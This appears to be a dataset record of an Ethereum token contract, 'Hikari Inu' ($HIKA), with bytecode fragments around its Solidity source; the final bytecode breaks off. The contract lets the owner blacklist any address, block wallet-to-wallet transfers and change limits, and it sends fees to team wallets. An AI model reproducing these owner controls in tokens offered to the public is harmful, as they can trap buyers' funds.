fffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107659190610e2b565b60405180910390a3505050565b600061077e8484610518565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107f857818110156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190610d8b565b60405180910390fd5b6107f784848484036105a7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561086e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086590610dcb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d590610d4b565b60405180910390fd5b6108e9838383610a7f565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096690610dab565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a029190610e7d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a669190610e2b565b60405180910390a3610a79848484610a84565b50505050565b505050565b505050565b600081359050610a9881611204565b92915050565b600081359050610aad8161121b565b92915050565b600060208284031215610ac957610ac8610feb565b5b6000610ad784828501610a89565b91505092915050565b60008060408385031215610af757610af6610feb565b5b6000610b0585828601610a89565b9250506020610b1685828601610a89565b9150509250929050565b600080600060608486031215610b3957610b38610feb565b5b6000610b4786828701610a89565b9350506020610b5886828701610a89565b9250506040610b6986828701610a9e565b9150509250925092565b60008060408385031215610b8a57610b89610feb565b5b6000610b9885828601610a89565b9250506020610ba985828601610a9e565b9150509250929050565b610bbc81610ee5565b82525050565b6000610bcd82610e61565b610bd78185610e6c565b9350610be7818560208601610f28565b610bf081610ff0565b840191505092915050565b6000610c08602383610e6c565b9150610c1382611001565b604082019050919050565b6000610c2b602283610e6c565b9150610c3682611050565b604082019050919050565b6000610c4e601d83610e6c565b9150610c598261109f565b602082019050919050565b6000610c71602683610e6c565b9150610c7c826110c8565b604082019050919050565b6000610c94602583610e6c565b9150610c9f82611117565b604082019050919050565b6000610cb7602483610e6c565b9150610cc282611166565b604082019050919050565b6000610cda602583610e6c565b9150610ce5826111b5565b604082019050919050565b610cf981610f11565b82525050565b610d0881610f1b565b82525050565b6000602082019050610d236000830184610bb3565b92915050565b60006020820190508181036000830152610d438184610bc2565b905092915050565b60006020820190508181036000830152610d6481610bfb565b9050919050565b60006020820190508181036000830152610d8481610c1e565b9050919050565b60006020820190508181036000830152610da481610c41565b9050919050565b60006020820190508181036000830152610dc481610c64565b9050919050565b60006020820190508181036000830152610de481610c87565b9050919050565b60006020820190508181036000830152610e0481610caa565b9050919050565b60006020820190508181036000830152610e2481610ccd565b9050919050565b6000602082019050610e406000830184610cf0565b92915050565b6000602082019050610e5b6000830184610cff565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610e8882610f11565b9150610e9383610f11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ec857610ec7610f8d565b5b828201905092915050565b6000610ede82610ef1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610f46578082015181840152602081019050610f2b565b83811115610f55576000848401525b50505050565b60006002820490506001821680610f7357607f821691505b60208210811415610f8757610f86610fbc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61120d81610ed3565b811461121857600080fd5b50565b61122481610f11565b811461122f57600080fd5b5056fea26469706673582212209ab1dec5764e7833258a5edc26c8279020f8a88d9ca469d953b78423b98d399964736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 9,498 |
0x927094f020c22848da64c192d48782cfe2105951
|
// Hikari Inu ($HIKA)
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HikariInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikari Inu";
string private constant _symbol = "HIKA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 40;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
}
|
0x6080604052600436106101015760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461032b578063a9059cbb14610356578063d543dbeb14610393578063dd62ed3e146103bc578063ed995307146103f957610108565b806370a0823114610283578063715018a6146102c05780637b5b1157146102d75780638da5cb5b1461030057610108565b806323b872dd116100d157806323b872dd146101c9578063313ce567146102065780635932ead1146102315780636b9990531461025a57610108565b8062b8cf2a1461010d57806306fdde0314610136578063095ea7b31461016157806318160ddd1461019e57610108565b3661010857005b600080fd5b34801561011957600080fd5b50610134600480360381019061012f9190612a30565b610410565b005b34801561014257600080fd5b5061014b610560565b6040516101589190612ef4565b60405180910390f35b34801561016d57600080fd5b50610188600480360381019061018391906129f4565b61059d565b6040516101959190612ed9565b60405180910390f35b3480156101aa57600080fd5b506101b36105bb565b6040516101c091906130b6565b60405180910390f35b3480156101d557600080fd5b506101f060048036038101906101eb91906129a5565b6105cc565b6040516101fd9190612ed9565b60405180910390f35b34801561021257600080fd5b5061021b6106a5565b604051610228919061312b565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190612a71565b6106ae565b005b34801561026657600080fd5b50610281600480360381019061027c9190612917565b610760565b005b34801561028f57600080fd5b506102aa60048036038101906102a59190612917565b610850565b6040516102b791906130b6565b60405180910390f35b3480156102cc57600080fd5b506102d56108a1565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612ac3565b6109f4565b005b34801561030c57600080fd5b50610315610ad6565b6040516103229190612e0b565b60405180910390f35b34801561033757600080fd5b50610340610aff565b60405161034d9190612ef4565b60405180910390f35b34801561036257600080fd5b5061037d600480360381019061037891906129f4565b610b3c565b60405161038a9190612ed9565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612ac3565b610b5a565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612969565b610ca3565b6040516103f091906130b6565b60405180910390f35b34801561040557600080fd5b5061040e610d2a565b005b610418611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90613016565b60405180910390fd5b60005b815181101561055c576001600a60008484815181106104f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610554906133cc565b9150506104a8565b5050565b60606040518060400160405280600a81526020017f48696b61726920496e7500000000000000000000000000000000000000000000815250905090565b60006105b16105aa611287565b848461128f565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105d984848461145a565b61069a846105e5611287565b6106958560405180606001604052806028815260200161381860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064b611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c269092919063ffffffff16565b61128f565b600190509392505050565b60006009905090565b6106b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90613016565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610768611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec90613016565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061089a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8a565b9050919050565b6108a9611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90613016565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613016565b60405180910390fd5b60008111610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390612fb6565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f48494b4100000000000000000000000000000000000000000000000000000000815250905090565b6000610b50610b49611287565b848461145a565b6001905092915050565b610b62611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690613016565b60405180910390fd5b60008111610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fd6565b60405180910390fd5b610c616064610c5383683635c9adc5dea00000611cf890919063ffffffff16565b611d7390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610c9891906130b6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d32611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613016565b60405180910390fd5b600f60149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690612f36565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190612940565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb79190612940565b6040518363ffffffff1660e01b8152600401610fd4929190612e26565b602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110269190612940565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110af30610850565b6000806110ba610ad6565b426040518863ffffffff1660e01b81526004016110dc96959493929190612e78565b6060604051808303818588803b1580156110f557600080fd5b505af1158015611109573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112e9190612aec565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611231929190612e4f565b602060405180830381600087803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190612a9a565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690613076565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f76565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d91906130b6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190613056565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612f16565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613036565b60405180910390fd5b611585610ad6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f357506115c3610ad6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6357600f60179054906101000a900460ff1615611826573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f611287565b73ffffffffffffffffffffffffffffffffffffffff1614806117e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cd611287565b73ffffffffffffffffffffffffffffffffffffffff16145b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613096565b60405180910390fd5b5b5b60105481111561183557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611aa95742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b6001601154611a5a9190613273565b42611a6591906131ec565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab430610850565b9050600f60159054906101000a900460ff16158015611b215750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600f60169054906101000a900460ff165b15611b6157611b4781611dbd565b60004790506000811115611b5f57611b5e476120b7565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c0a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1457600090505b611c20848484846121b2565b50505050565b6000838311158290611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c659190612ef4565b60405180910390fd5b5060008385611c7d91906132cd565b9050809150509392505050565b6000600654821115611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc890612f56565b60405180910390fd5b6000611cdb6121df565b9050611cf08184611d7390919063ffffffff16565b915050919050565b600080831415611d0b5760009050611d6d565b60008284611d199190613273565b9050828482611d289190613242565b14611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f90612ff6565b60405180910390fd5b809150505b92915050565b6000611db5838360405180604